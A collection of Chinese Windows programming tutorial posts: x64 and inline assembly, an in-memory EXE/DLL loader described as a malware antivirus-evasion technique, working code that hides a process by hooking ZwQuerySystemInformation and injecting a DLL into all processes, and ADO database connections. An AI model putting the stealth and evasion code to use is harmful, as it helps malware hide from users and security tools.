    .code; _MyAdd是汇编函数_MyAdd proc ; 此处写汇编函数的代码_MyAdd endpend
    其中, _MyAsm 是汇编函数的名称,proc 是汇编函数的关键字,endp 是汇编函数的结尾关键字。
    要注意和 32 位汇编函数的区别:32 位汇编函数调用约定 __stdcall,所有参数从右到左依次入栈,通过压栈传递参数。64 位汇编函数的调用约定 __fastcall,前 4 个参数是从左至右依次存放于RCX、RDX、R8、R9寄存器里面,剩下的参数从左至右顺序入栈。
    编码实现myasm.asm.code_MyAdd proc xor rax, rax mov rax, rcx add rax, rdx add rax, r8 add rax, r9 ret_MyAdd endpend
    ASM_64_Test.cppextern "C" ULONGLONG _MyAdd(ULONGLONG a1, ULONGLONG a2, ULONGLONG a3, ULONGLONG a4);int _tmain(int argc, _TCHAR* argv[]){ ULONGLONG a1 = 1; ULONGLONG a2 = 2; ULONGLONG a3 = 3; ULONGLONG a4 = 4; ULONGLONG b = _MyAdd(a1, a2, a3, a4); printf("b=%d\n", b); system("pause"); return 0;}
    程序测试我们直接运行程序,成功显示正确的计算结果:

    然后,我们查看 RAX、RCX、RDX、R8、R9 这 5 个寄存器里的值,和上述我们讲解的相一致:

    总结要特别注意一点就是,如果你使用 VS2013 开发环境,或者你使用其它的开发环境也遇到这样一个问题就是:在 x64 模式下,添加 .asm 文件,并设置在 .asm 属性页 中设置“自定义生成工具”后,界面出现卡死、无反应现象。可以尝试下面的解决方法:

    首先,不要在 x64 模式下面进行设置 .asm 属性页。更换到 x86 模式,即 Win32 模式下,然后再在 .asm 属性页 中设置“自定义生成工具”,这时可以正常设置。
    然后,在在 .asm 属性页 中设置“自定义生成工具”,这时,我们再“新建” x64 的解决方案平台,从 Win32 中复制设置。

    那么,这时,我们就可以在 x64 下正常对“自定义生成工具”进行设置了。
    同时,也要要注意和 32 位汇编函数的区别:32 位汇编函数调用约定 __stdcall,所有参数从右到左依次入栈,通过压栈传递参数。64 位汇编函数的调用约定 __fastcall,前 4 个参数是从左至右依次存放于RCX、RDX、R8、R9寄存器里面,剩下的参数从左至右顺序入栈。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2019-01-03 10:50:43
  • 内联汇编之32位程序

    背景内联汇编是指在 C/C++ 代码中嵌入的汇编代码,与全部是汇编的汇编源文件不同,它们被嵌入到 C/C++ 的大环境中。内联汇编方式两个作用,一是程序的某些关键代码直接用汇编语言编写,可提高代码的执行效率;二是有些操作无法通过高级语言实现,或者实现起来很困难,必须借助汇编语言达到目的。
    32 位程序和 64 位程序下使用内联汇编的方式,有很大的差别。现在,我们对此分别进行介绍。本篇文章主要介绍的是在 32 位程序中使用内联汇编。
    实现过程使用内联汇编要用到 __asm 关键字,它可以出现在任何允许 C/C++ 语句出现的地方。对 __asm 关键字的使用有两种方式:

    __asm 块,要添加大括号
    __asm { // 汇编代码 }
    __asm 语句,在每条汇编指令之前加 __asm 关键字
    __asm // 汇编代码

    显然,第一种方法与 C/C++ 的风格很一致,并且把汇编代码和 C/C++ 代码清楚地分开,还避免了重复输入 __asm 关键字,因此推荐使用第一种方法。
    不像在 C/C++ 中的“{ }”,__asm 块的“{ }”不会影响 C/C++ 变量的作用范围。同时,__asm 块可以嵌套,而且嵌套也不会影响变量的作用范围。
    为了与低版本的 Visual C++ 兼容,_asm 和 __asm 具有相同的意义。另外,Visual C++ 支持标准 C++ 的 asm 关键字,但是它不会生成任何指令,它的作用仅限于使编译器不会出现编译错误。要使用内联汇编,必须使用 __asm 而不是 asm 关键字。
    编码实现void MyFunc(char *pszText){ printf("%s\n", pszText);}int _tmain(int argc, _TCHAR* argv[]){ char str1[] = "__asm{ }"; char str2[] = "__asm"; // 32位程序内联汇编 第一种方式 __asm { lea eax, str1 push eax mov eax, MyFunc call eax } // 32位程序内联汇编 第二种方式 __asm lea eax, str2 __asm push eax __asm mov eax, MyFunc __asm call eax system("pause"); return 0;}
    程序测试我们直接运行程序,程序成功显示两行字符串,说明两种方式的内联汇编均使用成功。

    总结在 32 位程序中使用内联汇编比较方便,就两种形式,一种是有大括号的:
    __asm{ // 汇编代码}
    另一种是没有大括号的:
    __asm // 汇编代码
    这两种方式是等价的,大家可以根据自己的程序需要,自行选择使用哪种方式即可。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2019-01-03 10:50:01
  • EXE加载模拟器直接在内存中加载运行EXE不通过API创建进程运行

    背景在网上搜索了很多病毒木马的分析报告,看了一段时间后,发现还是有很多病毒木马都能够模拟PE加载器,把DLL或者是EXE等PE文件,直接从内存中直接加载到自己的内存中执行,不需要通过API函数去操作,以此躲过一些杀软的检测。
    在看到这些技术的描述后,虽然没有详细的实现思路,但是凭借自己的知识积累,我也大概知道是怎么做了。后来,就自己动手写了这么一个程序,实现了从内存中直接加载并运行EXE,不需要通过API函数创建另一个进程启动该EXE。暂时还没有想清楚这种技术有什么积极的一面,不管了,既然都把程序写出来了,那就当作是对PE结构以及编程水平的一次锻炼吧
    现在,把实现的思路和实现过程,写成文档,分享给大家。
    程序实现原理要想完全理解透彻这个程序的技术,需要对PE文件格式有比较详细的了解才行,起码要了解PE格式的导入表、导出表以及重定位表的具体操作过程。
    这个程序和 “DLL加载模拟器直接在内存中加载DLL不通过API加载” 这篇文章原理是一样的,只是一个是EXE,一个是DLL,本质上都是PE文件加载模拟器。
    EXE加载到内存的过程并运行实现原理
    首先,在EXE文件中,根据PE结构格式获取其加载映像的大小SizeOfImage,并根据SizeOfImage在自己的程序中申请一块可读、可写、可执行的内存,那么这块内存的首地址就是EXE程序的加载基址
    然后,根据EXE中的PE结构格式获取其映像对齐大小SectionAlignment,然后把EXE文件数据按照SectionAlignment对齐大小拷贝到上述申请的可读、可写、可执行的内存中
    接着,根据PE结构的重定位表,重新对重定位表进行修正
    接着,根据PE结构的导入表,加载所需的DLL,并获取导入表导入函数的地址并写入导入表中
    接着,修改EXE的加载基址ImageBase
    最后,根据PE结构获取EXE的入口地址AddressOfEntryPoint,然后跳转到入口地址处继续执行

    这样,EXE就成功加载到程序中并运行起来了。要注意的一个问题就是,并不是所有的EXE都有重定位表,对于没有重定位表的EXE程序,那就不适用于本文介绍的方法。
    编码实现// 模拟PE加载器加载内存EXE文件到进程中// lpData: 内存EXE文件数据的基址// dwSize: 内存EXE文件的内存大小// 返回值: 内存EXE加载到进程的加载基址LPVOID MmRunExe(LPVOID lpData, DWORD dwSize){ LPVOID lpBaseAddress = NULL; // 获取镜像大小 DWORD dwSizeOfImage = GetSizeOfImage(lpData); // 在进程中开辟一个可读、可写、可执行的内存块 lpBaseAddress = ::VirtualAlloc(NULL, dwSizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (NULL == lpBaseAddress) { ShowError("VirtualAlloc"); return NULL; } ::RtlZeroMemory(lpBaseAddress, dwSizeOfImage); // 将内存PE数据按SectionAlignment大小对齐映射到进程内存中 if (FALSE == MmMapFile(lpData, lpBaseAddress)) { ShowError("MmMapFile"); return NULL; } // 修改PE文件重定位表信息 if (FALSE == DoRelocationTable(lpBaseAddress)) { ShowError("DoRelocationTable"); return NULL; } // 填写PE文件导入表信息 if (FALSE == DoImportTable(lpBaseAddress)) { ShowError("DoImportTable"); return NULL; } //修改页属性。应该根据每个页的属性单独设置其对应内存页的属性。 //统一设置成一个属性PAGE_EXECUTE_READWRITE DWORD dwOldProtect = 0; if (FALSE == ::VirtualProtect(lpBaseAddress, dwSizeOfImage, PAGE_EXECUTE_READWRITE, &dwOldProtect)) { ShowError("VirtualProtect"); return NULL; } // 修改PE文件加载基址IMAGE_NT_HEADERS.OptionalHeader.ImageBase if (FALSE == SetImageBase(lpBaseAddress)) { ShowError("SetImageBase"); return NULL; } // 跳转到PE的入口点处执行, 函数地址即为PE文件的入口点IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint if (FALSE == CallExeEntry(lpBaseAddress)) { ShowError("CallExeEntry"); return NULL; } return lpBaseAddress;}
    程序测试在 main 函数中调用上述封装好的函数,加载EXE程序进行测试。main 函数为:
    int _tmain(int argc, _TCHAR* argv[]){ char szFileName[] = "KuaiZip_Setup_2.8.28.8.exe"; // 打开EXE文件并获取EXE文件大小 HANDLE hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE == hFile) { ShowError("CreateFile"); return 1; } DWORD dwFileSize = GetFileSize(hFile, NULL); // 申请动态内存并读取DLL到内存中 BYTE *pData = new BYTE[dwFileSize]; if (NULL == pData) { ShowError("new"); return 2; } DWORD dwRet = 0; ReadFile(hFile, pData, dwFileSize, &dwRet, NULL); CloseHandle(hFile); // 判断有无重定位表 if (FALSE == IsExistRelocationTable(pData)) { printf("[FALSE] IsExistRelocationTable\n"); system("pause"); return 0; } // 将内存DLL加载到程序中 LPVOID lpBaseAddress = MmRunExe(pData, dwFileSize); if (NULL == lpBaseAddress) { ShowError("MmRunExe"); return 3; } system("pause"); return 0;}
    测试结果:
    运行程序后,成功显示“快压”安装程序的对话框界面,而且还显示了“快压”安装程序正在向 “i.kpzip.com” 使用HTTP发送“GET”数据请求:

    所以,程序测试成功。
    总结这个程序你只要熟悉PE格式结构的话,这个程序理解起来会比较容易。其中,需要特别注意的一点是:并不是所有的EXE都是用于本文介绍的方法。因为,对于那些没有重定位表的EXE程序来说,它们加载运行时的加载基址只能是固定的,因为没有重定位表的缘故,所以无法重定位数据,势必不能成功运行程序。同时,对一些MFC程序也不支持,目前正在改进当中。如果遇到不成功的,那就多换几个有重定位表的EXE试试就好。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2019-01-02 09:47:41
  • DLL加载模拟器直接在内存中加载DLL不通过API加载

    背景在网上搜索了很多病毒木马的分析报告,看了一段时间后,发现还是有很多病毒木马都能够模拟PE加载器,把DLL或者是EXE等PE文件,直接从内存中直接加载到自己的内存中执行,不需要通过API函数去操作,以此躲过一些杀软的检测。
    在看到这些技术的描述后,虽然没有详细的实现思路,但是凭借自己的知识积累,我也大概知道是怎么做了。后来,就自己动手写了这么一个程序,实现了从内存中直接加载DLL,并获取DLL的导出函数,调用并执行。当然,这种技术并非没有积极的一面。如果你的程序需要很多DLL文件进行动态调用,你完全可以把这些DLL作为资源插入到自己的程序中,然后使用这个内存加载运行DLL的技术,直接在内存中加载运行就好,不需要再将DLL释放到本地上。这样做的好处应该不言而喻了,就是你的程序会因此变得很整洁,只有一个EXE程序,其他的DLL均包含在EXE程序里了。
    现在,把实现的思路和实现过程,写成文档,分享给大家。
    程序实现原理要想完全理解透彻这个程序的技术,需要对PE文件格式有比较详细的了解才行,起码要了解PE格式的导入表、导出表以及重定位表的具体操作过程。
    1. DLL加载到内存的过程实现原理
    首先,从DLL文件中,根据PE结构格式获取其加载映像的大小SizeOfImage,并根据SizeOfImage在自己的程序中申请一块可读、可写、可执行的内存,那么这块内存的首地址就是DLL的加载基址
    然后,根据DLL中的PE结构格式获取其映像对齐大小SectionAlignment,然后把DLL文件数据按照SectionAlignment对齐大小拷贝到上述申请的可读、可写、可执行的内存中
    接着,根据PE结构的重定位表,重新对重定位表进行修正
    接着,根据PE结构的导入表,加载所需的DLL,并获取导入表导入函数的地址并写入导入表中
    接着,修改DLL的加载基址ImageBase
    最后,根据PE结构获取DLL的入口地址,然后构造并调用 DllMain 函数,实现DLL的加载

    2. 获取DLL导出函数的实现过程
    首先,根据DLL的加载基址以及PE结构,获取DLL导出表
    然后,获取导出表的信息,如NumberOfNames、AddressOfNames等信息
    接着,遍历导出表的导出函数名字列表,与请求获取的导出函数名称进行匹配
    匹配成功,则获取导出函数的地址,并返回

    3. DLL的释放DLL的释放就比较好理解了,就是直接释放模拟加载DLL时候申请的可读、可写、可执行的内存即可。
    编码实现DLL加载过程函数// 模拟LoadLibrary加载内存DLL文件到进程中// lpData: 内存DLL文件数据的基址// dwSize: 内存DLL文件的内存大小// 返回值: 内存DLL加载到进程的加载基址LPVOID MmLoadLibrary(LPVOID lpData, DWORD dwSize){ LPVOID lpBaseAddress = NULL; // 获取镜像大小 DWORD dwSizeOfImage = GetSizeOfImage(lpData); // 在进程中开辟一个可读、可写、可执行的内存块 lpBaseAddress = ::VirtualAlloc(NULL, dwSizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (NULL == lpBaseAddress) { ShowError("VirtualAlloc"); return NULL; } ::RtlZeroMemory(lpBaseAddress, dwSizeOfImage); // 将内存DLL数据按SectionAlignment大小对齐映射到进程内存中 if (FALSE == MmMapFile(lpData, lpBaseAddress)) { ShowError("MmMapFile"); return NULL; } // 修改PE文件重定位表信息 if(FALSE == DoRelocationTable(lpBaseAddress)) { ShowError("DoRelocationTable"); return NULL; } // 填写PE文件导入表信息 if (FALSE == DoImportTable(lpBaseAddress)) { ShowError("DoImportTable"); return NULL; } //修改页属性。应该根据每个页的属性单独设置其对应内存页的属性。 //统一设置成一个属性PAGE_EXECUTE_READWRITE DWORD dwOldProtect = 0; if (FALSE == ::VirtualProtect(lpBaseAddress, dwSizeOfImage, PAGE_EXECUTE_READWRITE, &dwOldProtect)) { ShowError("VirtualProtect"); return NULL; } // 修改PE文件加载基址IMAGE_NT_HEADERS.OptionalHeader.ImageBase if (FALSE == SetImageBase(lpBaseAddress)) { ShowError("SetImageBase"); return NULL; } // 调用DLL的入口函数DllMain,函数地址即为PE文件的入口点IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint if (FALSE == CallDllMain(lpBaseAddress)) { ShowError("CallDllMain"); return NULL; } return lpBaseAddress;}
    获取DLL导出函数// 模拟GetProcAddress获取内存DLL的导出函数// lpBaseAddress: 内存DLL文件加载到进程中的加载基址// lpszFuncName: 导出函数的名字// 返回值: 返回导出函数的的地址LPVOID MmGetProcAddress(LPVOID lpBaseAddress, PCHAR lpszFuncName){ LPVOID lpFunc = NULL; // 获取导出表 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG32)pDosHeader + pDosHeader->e_lfanew); PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((DWORD)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表的数据 PDWORD lpAddressOfNamesArray = (PDWORD)((DWORD)pDosHeader + pExportTable->AddressOfNames); PCHAR lpFuncName = NULL; PWORD lpAddressOfNameOrdinalsArray = (PWORD)((DWORD)pDosHeader + pExportTable->AddressOfNameOrdinals); WORD wHint = 0; PDWORD lpAddressOfFunctionsArray = (PDWORD)((DWORD)pDosHeader + pExportTable->AddressOfFunctions); DWORD dwNumberOfNames = pExportTable->NumberOfNames; DWORD i = 0; // 遍历导出表的导出函数的名称, 并进行匹配 for (i = 0; i < dwNumberOfNames; i++) { lpFuncName = (PCHAR)((DWORD)pDosHeader + lpAddressOfNamesArray[i]); if (0 == ::lstrcmpi(lpFuncName, lpszFuncName)) { // 获取导出函数地址 wHint = lpAddressOfNameOrdinalsArray[i]; lpFunc = (LPVOID)((DWORD)pDosHeader + lpAddressOfFunctionsArray[wHint]); break; } } return lpFunc;}
    DLL释放// 释放从内存加载的DLL到进程内存的空间// lpBaseAddress: 内存DLL数据按SectionAlignment大小对齐映射到进程内存中的内存基址// 返回值: 成功返回TRUE,否则返回FALSEBOOL MmFreeLibrary(LPVOID lpBaseAddress){ BOOL bRet = FALSE; if (NULL == lpBaseAddress) { return bRet; } bRet = ::VirtualFree(lpBaseAddress, 0, MEM_RELEASE); lpBaseAddress = NULL; return bRet;}
    程序测试我们编写一个用来测试的DLL程序TestDll,导出函数的代码如下所示:
    BOOL ShowMessage(char *lpszText, char *lpszCaption){ ::MessageBox(NULL, lpszText, lpszCaption, MB_OK); return TRUE;}
    在 main 函数中,调用上述封装好的函数接口进行测试。main 函数为:
    int _tmain(int argc, _TCHAR* argv[]){ char szFileName[MAX_PATH] = "TestDll.dll"; // 打开DLL文件并获取DLL文件大小 HANDLE hFile = ::CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE == hFile) { ShowError("CreateFile"); return 1; } DWORD dwFileSize = ::GetFileSize(hFile, NULL); // 申请动态内存并读取DLL到内存中 BYTE *lpData = new BYTE[dwFileSize]; if (NULL == lpData) { ShowError("new"); return 2; } DWORD dwRet = 0; ::ReadFile(hFile, lpData, dwFileSize, &dwRet, NULL); // 将内存DLL加载到程序中 LPVOID lpBaseAddress = MmLoadLibrary(lpData, dwFileSize); if (NULL == lpBaseAddress) { ShowError("MmLoadLibrary"); return 3; } printf("DLL加载成功\n"); // 获取DLL导出函数并调用 typedef BOOL(*typedef_ShowMessage)(char *lpszText, char *lpszCaption); typedef_ShowMessage ShowMessage = (typedef_ShowMessage)MmGetProcAddress(lpBaseAddress, "ShowMessage"); if (NULL == ShowMessage) { ShowError("MmGetProcAddress"); return 4; } ShowMessage("CDIY - www.coderdiy.com - 专注计算机技术交流分享\n", "CDIY"); // 释放从内存加载的DLL BOOL bRet = MmFreeLibrary(lpBaseAddress); if (FALSE == bRet) { ShowError("MmFreeLirbary"); } // 释放 delete[] lpData; lpData = NULL; ::CloseHandle(hFile); system("pause"); return 0;}
    测试结果:
    直接成功弹窗!

    所以,DLL文件直接在内存中成功被加载并执行。
    总结这个程序对于初学者来说,理解起来比较复杂。但是,你只要熟悉PE格式结构的话,这个程序理解起来会比较容易。上面讲解中,对于重定位表、导入表以及导出表部分的具体操作并没有细讲,如果你没有了解PE结构,那么理解起来会有困难。如果你了解过PE结构,那么那部分知识应该也不用细讲的。
    2 回答 2019-01-01 13:24:04
  • 劫持ZwQuerySystemInformation函数实现进程隐藏

    背景所谓的进程隐藏,通俗地说指的是某个进程正常工作,不受任何影响,但是,我们使用类似任务管理器、Process Explorer 等进程查看软件查看进程,却看不到这个进程。适合秘密在计算机后台进行操作的程序,而不想让人发现。
    本文讲解的就是实现这样的一个进程隐藏程序的原理和过程,当然,进程隐藏的方法有很多,例如 DLL 劫持、DLL注入、代码注入、进程内存替换、HOOK API 等等。我们本文要介绍的就是 HOOK API 函数 ZwQuerySystemInformation 实现的隐藏指定进程。现在,我就把程序的实现过程整理成文档,分享给大家。
    函数介绍ZwQuerySystemInformation 函数
    获取指定的系统信息。
    函数声明
    NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength);
    参数

    SystemInformationClass [in]要检索的系统信息的类型。 该参数可以是SYSTEM_INFORMATION_CLASS枚举类型中的以下值之一。
    SystemInformation[in,out]指向缓冲区的指针,用于接收请求的信息。 该信息的大小和结构取决于SystemInformationClass参数的值,如下表所示。
    SystemInformationLength [in]SystemInformation参数指向的缓冲区的大小(以字节为单位)。
    ReturnLength [out]
    一个可选的指针,指向函数写入所请求信息的实际大小的位置。 如果该大小小于或等于SystemInformationLength参数,则该函数将该信息复制到SystemInformation缓冲区中; 否则返回一个NTSTATUS错误代码,并以ReturnLength返回接收所请求信息所需的缓冲区大小。

    返回值

    返回NTSTATUS成功或错误代码。NTSTATUS错误代码的形式和意义在DDK中提供的Ntstatus.h头文件中列出,并在DDK文档中进行了说明。
    注意

    ZwQuerySystemInformation函数及其返回的结构在操作系统内部,并可能从一个版本的Windows更改为另一个版本。 为了保持应用程序的兼容性,最好使用前面提到的替代功能。如果您使用ZwQuerySystemInformation,请通过运行时动态链接访问该函数。 如果功能已被更改或从操作系统中删除,这将使您的代码有机会正常响应。 但签名变更可能无法检测。此功能没有关联的导入库。 您必须使用LoadLibrary和GetProcAddress函数动态链接到Ntdll.dll。

    实现原理首先,先来讲解下为什么 HOOK ZwQuerySystemInformation 函数就可以实现指定进程隐藏。是因为我们遍历进程通常是调用系统 WIN32 API 函数 EnumProcess 、CreateToolhelp32Snapshot 等函数来实现,这些 WIN32 API 它们内部最终是通过调用 ZwQuerySystemInformation 这个函数实现的获取进程列表信息。所以,我们只要 HOOK ZwQuerySystemInformation 函数,对它获取的进程列表信息进行修改,把有我们要隐藏的进程信息从中去掉,那么 ZwQuerySystemInformation 就返回了我们修改后的信息,其它程序获取这个被修的信息后,自然获取不到我们隐藏的进程,这样,指定进程就被隐藏起来了。
    其中,我们将HOOK ZwQuerySystemInformation 函数的代码部分写在 DLL 工程中,原因是我们要实现的是隐藏指定进程,而不是单单在自己的进程内隐藏指定进程。写成 DLL 文件,可以方便我们将 DLL 文件注入到其它进程的空间,从而 HOOK 其它进程空间中的 ZwQuerySystemInformation 函数,这样,就实现了在其它进程空间中也看不到指定进程了。
    我们选取 DLL 注入的方法是设置全局钩子,这样就可以快速简单地将指定 DLL 注入到所有的进程空间里了。
    其中,HOOK API 使用的是自己写的 Inline Hook,即在 32 位程序下修改函数入口前 5 个字节,跳转到我们的新的替代函数;对于 64 位程序,修改函数入口前 12 字节,跳转到我们的新的替代函数。
    编码实现HOOK ZwQuerySystemInformationvoid HookApi(){ // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) { return; } // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { return; } // 32 位下修改前 5 字节, 64 位下修改前 12 字节#ifndef _WIN64 // jmp New_ZwQuerySystemInformation // 机器码位:e9 _dwOffset(跳转偏移) // addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值 // addr2 --> 跳转地址的值,即_dwNewAddress的值 // 跳转偏移 _dwOffset = addr2 - addr1 BYTE pData[5] = { 0xe9, 0, 0, 0, 0}; DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; ::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset)); // 保存前 5 字节数据 ::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));#else // mov rax,0x1122334455667788 // jmp rax // 机器码是: // 48 b8 8877665544332211 // ff e0 BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0}; ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset)); // 保存前 12 字节数据 ::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));#endif // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); // 修改 ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); // 还原页面保护属性 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);}
    UNHOOK ZwQuerySystemInformationvoid UnhookApi(){ // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) { return; } // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { return; } // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 32 位下还原前 5 字节, 64 位下还原前 12 字节#ifndef _WIN64 // 还原 ::RtlCopyMemory(ZwQuerySystemInformation, g_OldData32, sizeof(g_OldData32));#else // 还原 ::RtlCopyMemory(ZwQuerySystemInformation, g_OldData64, sizeof(g_OldData64));#endif // 还原页面保护属性 ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);}
    New_ZwQuerySystemInformation 函数NTSTATUS New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ){ NTSTATUS status = 0; PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL; // 要隐藏的进程PID DWORD dwHideProcessId = 1224; // UNHOOK API UnhookApi(); // 获取 ntdll.dll 的加载基址, 若没有则返回 HMODULE hDll = ::GetModuleHandle("ntdll.dll"); if (NULL == hDll) { return status; } // 获取 ZwQuerySystemInformation 函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); if (NULL == ZwQuerySystemInformation) { return status; } // 调用原函数 ZwQuerySystemInformation status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && 5 == SystemInformationClass) { pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while (TRUE) { // 判断是否是要隐藏的进程PID if (dwHideProcessId == (DWORD)pCur->UniqueProcessId) { if (0 == pCur->NextEntryOffset) { pPrev->NextEntryOffset = 0; } else { pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset; } } else { pPrev = pCur; } if (0 == pCur->NextEntryOffset) { break; } pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset); } } // HOOK API HookApi(); return status;}
    设置全局消息钩子注入DLLint _tmain(int argc, _TCHAR* argv[]){ // 加载DLL并获取句柄 HMODULE hDll = ::LoadLibrary("HideProcess_ZwQuerySystemInformation_Test.dll"); if (NULL == hDll) { printf("%s error[%d]\n", "LoadLibrary", ::GetLastError()); } printf("Load Library OK.\n"); // 设置全局钩子 g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, hDll, 0); if (NULL == g_hHook) { printf("%s error[%d]\n", "SetWindowsHookEx", ::GetLastError()); } printf("Set Windows Hook OK.\n"); system("pause"); // 卸载全局钩子 if (FALSE == ::UnhookWindowsHookEx(g_hHook)) { printf("%s error[%d]\n", "UnhookWindowsHookE", ::GetLastError()); } printf("Unhook Windows Hook OK.\n"); // 卸载DLL ::FreeLibrary(hDll); system("pause"); return 0;}
    程序测试我们运行将要隐藏进程的程序 520.exe,然后打开任务管理器,可以查看到 520.exe 是处于可见状态。接着,以管理员权限运行我们的程序,设置全局消息钩子,将 DLL 注入到所有的进程中,DLL 便在 DllMain 入口点函数处 HOOK ZwQuerySystemInformation 函数,成功隐藏 520.exe 的进程。所以,测试成功。
    总结要注意 Inline Hook API 的时候,在 32 位系统和 64 位系统下的差别。
    在 32 位使用 jmp _NewAddress 跳转语句,机器码是 5 字节,而且要注意理解它的跳转偏移的计算方式:
    跳转偏移 = 跳转地址 - 下一跳指令的地址
    在 64 位使用的是的汇编指令是:
    mov rax, _NewAddressjmp rax
    机器码是 12 字节。
    在Windows7 32位旗舰版以及Windows10 64位专业版上进行测试,均能成功隐藏指定进程,程序在32位和64位全平台系统均能正常工作。要注意一点就是,建议以管理员身份运行程序,否则我们的全局钩子不能成功注入到一些高权限的进程中。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-31 16:06:36
  • 使用ADO方式连接并操作SQL数据库Access数据库等常用数据库

    背景对于数据库的操作使用,对于我们编程开发来说,是比较常见的事情,也是常用的技术。所以,应该要熟悉掌握。对于数据库的操作,基本操作就是增、删、改、查。但是,在进行这些基本操作之前,还有至关重要的一步,就是数据库的连接。对于数据库的成功连接,那么,我们对数据库的操作就完成一半了。很多初学者,都会卡死在数据库连接这一步上面。
    本文介绍的是ADO方式连接数据库,并操作数据库。ADO(ActiveX Data Object)具有跨系统平台特性,它直接对DBMS数据库进行操作,即系统中必须有DBMS,但不需要驱动程序,不需要注册数据源,所以具有很好的可移植性。
    本文就给出ADO方式连接并操作 SQL Server数据、Access数据库、Oracle数据库、MySQL数据库等常用数据库,虽然有很多数据库,但是它们之间对于ADO来说,只是连接字符串的区别而已。
    现在,我就把程序实现的过程整理成文档,分享给大家。
    实现原理ADO对象的导入在使用ADO技术时需要导入一个ADO动态链接库msado15.dll,该动态库位于系统盘下的”Program Files\Common Files\System\ado\”目录下。然后,我们在程序头文件中,添加下面的导入代码:
    #import "C:\\Program Files\\common files\\system\\ado\\msado15.dll" no_namespace rename("EOF","adoEOF")
    数据库连接我们在操作数据库之前,首先要连接数据库。数据库连接至关重要一点就是,数据库连接字符串。现在,我们先来介绍下ADO连接数据库的一个流程:

    首先,我们先调用 CoInitialize 初始化COM组件环境,因为ADO方式连接数据库,就是基于COM组件实现的。所以,必须要对COM环境进行初始化
    然后,调用 _ConnectionPtr::CreateInstance 函数创建 Connection 对象
    创建成功后,对 Connection 对象的连接超时ConnectionTimeout进行设置,同时调用 Open 函数,按照数据库连接字符串连接数据库

    经过,这 3 步操作,就成功完成数据库连接的操作。我们上面说,不同数据库,连接字符串也会不同。下面,我就列举常用数据库的连接字符串:
    Access连接字符串
    Provider=Microsoft.Jet.OLEDB.4.0;Data Source=MDB文件路径;Persist Security Info=False;Jet OLEDB:DataBase Password=数据库密码
    数据源连接字符串
    "DSN=TestDatabase;UID=;PWD=;"
    SQL Server连接字符串
    Driver=SQL Server;Server=服务器IP;Database=数据库名称;UID=用户名;PWD=密码
    Oracle连接字符串
